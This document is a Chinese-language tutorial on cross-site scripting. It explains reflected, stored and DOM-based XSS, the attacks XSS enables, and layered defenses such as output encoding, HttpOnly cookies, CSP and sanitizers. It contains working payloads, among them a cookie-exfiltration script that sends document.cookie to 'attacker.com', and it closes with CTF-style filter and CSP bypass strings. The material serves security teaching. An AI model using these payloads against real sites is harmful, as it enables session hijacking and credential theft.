一、定义与核心原理
XSS(Cross-Site Scripting) 是一种常见的 Web 安全漏洞,攻击者通过在网页中注入恶意脚本(通常是 JavaScript),当其他用户访问该网页时,恶意脚本会在用户的浏览器中执行,从而窃取信息、劫持会话或进行其他恶意操作。
二、XSS 的分类
根据恶意脚本的注入方式与存在位置,XSS 主要分为三类:反射型、存储型和 DOM 型。
2.1 反射型 XSS(Non-Persistent XSS)
反射型XSS是指攻击载荷作为请求参数直接“反射”回页面并被浏览器立即执行。
它的突出特点是无需持久存储,通常发生在网址参数、表单等用户即时提交数据,并在页面直接输出的情况下。
反射型XSS常被用于钓鱼链接、伪造请求等场景,危害虽然通常只影响单次访问,但推广起来效率高。
所有没有正确过滤用户输入并在页面直接输出的“立即返回型”功能,都可能存在反射型XSS风险。
提示:你可以通过alert来测试poc。
你可以使用的poc有:
<script>alert(1)</script><img src=x onerror=alert(1)><s>alert(1)</s><h1>123</h1>
发生场景:
恶意脚本通过 HTTP 请求参数(如 URL 查询字符串、表单提交)传入,服务器将这些参数值不加处理地“反射”回响应页面中。
典型流程:
攻击者构造一个含有恶意脚本的 URL:
https://example.com/search?q=<script>alert('XSS')</script>用户被诱骗点击该链接。
服务器接收到请求,将
q参数的值直接嵌入到返回的 HTML 中,例如:<p>您搜索的关键词:<script>alert('XSS')</script></p>浏览器解析该 HTML,遇到
<script>标签时执行其中的 JavaScript 代码。
技术细节:
反射型 XSS 的注入点通常位于:
- URL 查询参数(
?key=value) - POST 请求体中的参数(如果服务器将参数值返回到页面)
- HTTP 头(如 Referer,错误页面可能会显示)
其特点是“一次性”攻击,每次触发都需要攻击者将恶意链接发给受害者,恶意代码不会存储在服务器端。
2.2 存储型 XSS(Persistent XSS)
存储型XSS是指用户提交的恶意脚本会被存储到服务器(如数据库、文件等),当其他用户访问相关页面时,这些脚本会被加载并在他们的浏览器中执行。
与反射型XSS不同,存储型XSS的危害性更大,通常用于留言、评论等功能不加过滤的情况下被攻击者利用。
发生场景:
恶意脚本被持久化存储在服务器端(数据库、文件系统、缓存等),当用户访问包含该数据的页面时,脚本从存储中取出并返回给浏览器执行。
典型流程:
攻击者向网站的某个功能点(如评论区、用户资料、私信)提交包含恶意代码的内容:
<script> new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie; </script>服务器未做任何过滤,将该内容存入数据库。
任何用户访问展示该内容的页面时,服务器从数据库读取数据并拼接成 HTML 返回。
所有访问者的浏览器都会执行这段脚本,Cookie 等敏感信息被发送至攻击者服务器。
危害范围:
存储型 XSS 一旦植入,就成为一个持久的威胁,任何访问受影响页面的用户(包括管理员)都可能被攻击,极易形成蠕虫传播(如早年的 Samy 蠕虫)。
2.3 DOM 型 XSS
发生场景:
漏洞完全存在于客户端 JavaScript 代码中。服务器返回的页面本身可能不包含恶意脚本,但页面中的合法脚本会从 DOM 环境(如location、document.referrer)中读取数据,并将其不安全地写入 DOM 树,导致脚本执行。
典型流程:
攻击者构造一个 URL,其中包含 payload:
https://example.com/page#<img src=x onerror=alert(1)>服务器返回的页面是一段正常的 HTML 和 JavaScript,例如:
varhash=location.hash.substring(1);document.getElementById('content').innerHTML=hash;用户访问该链接。浏览器加载页面后,执行上述脚本,将
<img src=x onerror=alert(1)>直接作为 HTML 插入到#content元素中。浏览器解析新插入的
<img>标签,因其src=x加载失败,触发onerror事件处理函数,恶意脚本被执行。
关键点:
DOM 型 XSS 的数据源(Source)和拼接点(Sink)都在客户端。常见 Source 包括:
location(href、hash、search)document.referrerdocument.cookiewindow.namepostMessage接收的数据
常见 Sink 包括:
innerHTML/outerHTMLdocument.write()eval()/setTimeout()/setInterval()(字符串参数)execScript()- 某些框架中直接将用户输入绑定为 HTML
由于整个过程不经过服务器,服务器访问日志中通常看不到攻击痕迹,增加了检测难度。
三、XSS 能实现哪些攻击
3.1 窃取 Cookie 与会话劫持
这是最经典的攻击目标。通过document.cookie读取当前域下的 Cookie(未设置HttpOnly的会话 Cookie),然后将其发送到攻击者服务器。攻击者拿到 Cookie 后,在本地设置同样的 Cookie,即可冒充受害者身份登录网站。
3.2 伪造请求(CSRF 的增强)
虽然 XSS 本身不是 CSRF,但 XSS 可以绕过所有 CSRF 防护。攻击者脚本能直接在受害者浏览器中读取 CSRF Token,并构造同源的 POST 请求,完成转账、修改密码、发表内容等操作。从服务器角度看,这些请求完全合法。
3.3 页面内容篡改与钓鱼
利用 JavaScript 完全控制 DOM 树的能力,攻击者可以:
- 替换页面内容,显示虚假信息。
- 创建伪造的登录表单,诱骗用户输入凭证(这种攻击也称为“虚拟钓鱼”)。
- 修改页面跳转逻辑,将用户重定向到恶意网站。
3.4 键盘记录与信息收集
通过注册keydown、keypress事件,攻击脚本可以记录用户在页面内的所有按键操作,并将数据定期发送出去,从而窃取密码、信用卡号等敏感信息。
3.5 浏览器漏洞利用与内网探测
恶意脚本可以尝试加载已知的浏览器漏洞利用代码,对受害者主机进行更深层次的攻击。还可利用浏览器发出的 HTTP 请求探测内网存活主机或服务,实施跨域信息泄露。
3.6 蠕虫传播
在具备社交功能的站点中,存储型 XSS 可以实现自我复制。例如,脚本自动向受害者的好友发送带恶意链接的私信,或自动发布包含恶意代码的内容,从而指数级扩大攻击范围。
四、产生 XSS 的根本原因
XSS 的本质是将数据误作为代码执行。浏览器在解析 HTML 时,会根据上下文不同(标签内、属性内、脚本块内、样式内)切换不同的解析器。如果没有针对当前上下文正确地转义用户数据,就会导致注入。
常见的编码缺失情景:
- HTML 上下文:直接将
<script>...</script>插入标签体。 - 属性上下文:使用双引号或单引号闭合属性,并插入事件处理函数,如
" onclick="alert(1)。 - JavaScript 上下文:在
<script>块中动态拼接用户输入,导致闭合并插入新脚本。 - CSS 上下文:通过 CSS 的
expression()或url()执行脚本(IE 旧版)。
五、全面防御方案
防御 XSS 需要多层防护,并且要针对不同输出上下文采取不同策略。
5.1 输出编码(Output Encoding)
这是最核心、最直接的防御手段。在将用户数据插入 HTML 页面时,必须根据插入位置选择正确的编码方式。
- HTML 实体编码
用于标签体内容或普通文本,将&、<、>、"、'转换为对应的实体(&<>"')。
例如:<script>编码为<script>,浏览器将不会执行而仅显示文本。 - HTML 属性编码
除了实体编码,还需要确保属性值始终使用引号包裹,并且编码引号。对于动态生成的事件处理属性(如onclick),如果无法避免,需进行严格的 JavaScript 编码。 - JavaScript 编码
在<script>块中或事件处理函数中插入数据时,使用\xHH或\uXXXX格式对所有非字母数字字符进行编码,并用引号包裹。更安全的方式是将数据放到单独的不可信输入元素中,然后通过JSON.parse或textContent读取。 - CSS 编码
在样式上下文(如style属性或<style>标签)中插入数据时,需要进行 CSS 十六进制编码(\HH),并确保值不会闭合上下文。 - URL 编码
当数据被作为 URL 的一部分(如href、src)时,必须进行 URL 编码,并验证协议,只允许http://、https://等白名单协议,禁止javascript:等危险协议。
推荐做法:
不要手动编码,使用成熟安全的模板引擎(如 Jinja2、Thymeleaf、Razor 等),它们在默认情况下会对变量进行 HTML 实体编码,并且提供了针对 JavaScript 块、CSS 等上下文的专用编码器。
5.2 HttpOnly Cookie 标志
给会话 Cookie 设置HttpOnly属性,这样浏览器会禁止 JavaScript 通过document.cookie读取该 Cookie。即使存在 XSS 漏洞,攻击者也无法直接窃取会话凭证,显著降低会话劫持风险。
Set-Cookie: sessionid=...; HttpOnly; Secure; SameSite=Lax5.3 内容安全策略(CSP)
CSP 是一种浏览器层面的纵深防御机制,通过 HTTP 响应头或<meta>标签声明脚本、样式等的加载白名单。
一个严格的 CSP 策略:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; object-src 'none'; base-uri 'self';script-src 'self':只允许加载同源的脚本,禁止内联脚本(除非使用nonce或hash)。- 禁止
eval()及相关函数。 - 可以配置
report-uri来收集违规报告。
CSP 无法修复 XSS 漏洞,但可以极大地限制攻击者即使注入脚本后的执行能力。
5.4 输入验证与过滤
虽然输出编码是主要防御,但输入验证也是重要的辅助手段。
- 白名单验证:对用户输入按业务需求进行严格格式校验(如邮箱、电话号码、数字 ID)。不符合的直接拒绝。
- 黑名单过滤:作为补充,过滤或移除已知危险字符(如
<、>、"、'等),但容易被绕过,不能作为主要防御。 - 富文本处理:如果业务必须允许用户输入 HTML(如富文本编辑器),需要采用专用的净化库(如 DOMPurify、OWASP Java HTML Sanitizer),对白名单标签和属性进行过滤,移除所有事件处理函数和危险协议。
5.5 安全使用 DOM API
尽量避免将不可信数据直接作为代码执行:
- 不要使用
innerHTML、outerHTML、document.write()插入不可信数据。应使用textContent或createTextNode()。 - 对于必须动态生成 HTML 的场景,使用
createElement()、setAttribute()等安全方法,并小心属性值。 - 避免将不可信数据传入
eval()、setTimeout()、setInterval()的字符串参数,改用函数形式。 - 现代前端框架(React、Vue、Angular)默认会对插值表达式进行转义,但要注意
v-html、dangerouslySetInnerHTML等跳过转义的 API,必须确保其内容是可信的或经过净化的。
5.6 启用 X-XSS-Protection(可选)
旧的浏览器支持X-XSS-Protection头,可以启用浏览器内置的反射型 XSS 过滤器。但由于其可能引入额外的安全风险,且现代浏览器大多已废弃,现在推荐使用 CSP 替代。
六、绕过过滤技巧
CTF 中的 XSS 题目往往会设置过滤。常见过滤及绕过方法:
6.1 关键字过滤(如过滤script、alert等)
- 大小写混用:
<ScRiPt>alert(1)</ScRiPt>(如果服务器未做大小写统一处理)。 - 嵌套/双写绕过:
<scr<script>ipt>alert(1)</scr</script>ipt>(过滤掉<script>后仍重组)。 - 使用其他标签和事件:避免使用
script标签,用img、svg、body、input、details等。
6.2 过滤括号、引号
- 反引号代替括号(ES6 模板字符串):
<script>alert1</script>无效,可以onerror=alert1`` 但需要上下文支持。 - HTML 实体编码:在属性值中使用十进制或十六进制编码
onclick=alert(1)可能被浏览器解析。 - 利用
location或eval结合字符串:<img src=x onerror="eval('alert\x28 1\x29')">十六进制编码绕过括号检测。 - 利用
throw或onerror的特性:<img src=x onerror="throw/a/,location=javascRipt:alert(1)">之类的奇技淫巧。
6.3 过滤onerror、onload等事件
- 尝试其他事件:
onfocus、onmouseover、onclick、oninput、ontoggle等。 - 使用
autofocus自动触发:<input onfocus=alert(1) autofocus>。 - 使用
<details open ontoggle=alert(1)>需要交互的可加上open属性。
6.4 过滤javascript:伪协议
- 使用 HTML 实体编码:
javascript:alert(1)或 URL 编码:%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29。 - 利用换行符或空格:
java%09script:alert(1)(一些浏览器会忽略制表符)。
6.5 利用特殊解析顺序(绕过 WAF/黑名单)
- 注释干扰:
<img src=x onerror=al/*comment*/ert(1)>(如果黑名单没处理好注释)。 - 多标签属性混淆:
<img src=x "" onerror=alert(1)> - 空字节、多字节字符:在值内插入
%00截断或宽字节绕过(少见)。
6.6 CSP 绕过
如果页面有严格的内容安全策略(CSP),直接内联脚本可能无法执行。需要寻找允许的源或使用框架自带的绕过。
- 如果 CSP 允许
'unsafe-inline',内联脚本可以执行。 - 如果允许
'unsafe-eval',可以用eval执行字符串。 - 如果白名单中允许某个 CDN 包含的 JS 库(如
cdnjs.cloudflare.com),可使用该库已有函数执行代码(如 Angular 的$eval)。 - 如果允许
script-src 'self',但存在同源 JSONP 端点,可利用 JSONP 注入脚本。 - 使用
<base>标签劫持相对路径加载。